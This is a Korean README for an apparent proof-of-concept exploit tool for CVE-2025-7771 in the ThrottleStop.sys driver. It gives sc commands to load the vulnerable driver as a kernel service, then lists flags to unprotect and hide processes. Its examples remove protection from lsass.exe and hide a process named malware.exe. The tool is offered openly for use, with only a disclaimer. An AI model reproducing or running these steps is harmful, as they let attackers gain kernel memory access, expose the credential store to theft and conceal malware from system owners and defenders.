CVE-2025-7771

ThrottleStop.sys 드라이버의 취약점을 보여주는 간단한 PoC로, 임의의 물리적 메모리 읽기 및 쓰기 기능과 Superfetch를 사용한 가상-물리 주소 변환을 시연합니다.

⚡ 사용법:

1. 서비스 등록:

관리자 권한으로 cmd.exe를 실행하고, 유형이 "kernel"이고 binPath가 취약한 드라이버의 위치를 가리키는 커널 드라이버 서비스를 등록합니다.

> sc create ThrottleStop binPath= <path> type= kernel`
> sc start ThrottleStop

명령어:

  --protect   : 프로세스를 보호합니다.
  --unprotect : 보호된 프로세스를 보호 해제합니다.
  --hide      : 프로세스를 숨깁니다.
  --unhide    : 프로세스를 숨김 해제합니다.
  --help      : 도움말 출력

예시:

CVE-2025-7771.exe --protect notepad.exe 또는 CVE-2025-7771exe --protect 12345
CVE-2025-7771.exe --unprotect lsass.exe 또는 CVE-2025-7771.exe --unprotect 12345
CVE-2025-7771.exe --hide malware.exe 또는 CVE-2025-7771.exe --hide 12345

숨겨진 프로세스를 숨김 해제하려면 --unhide 명령어와 함께 숨겨진 프로세스의 eprocess 주소를 '--eprocess'로 지정하여 사용할 수 있습니다: CVE-2025-7771.exe --unhide --eprocess 0xffffc207da1d9240

🔒 면책 조항

이 도구를 사용하기 전에 적절한 권한을 획득했는지 확인하는 것은 사용자의 책임입니다. 저자는 오용에 대해 어떠한 책임도 지지 않습니다.

🤝 협업

이 프로젝트는 진행 중이며, 기여와 제안을 환영합니다! 아이디어, 개선 사항 또는 협업을 원하시면 언제든지 다음 주소로 연락해 주세요: [email protected]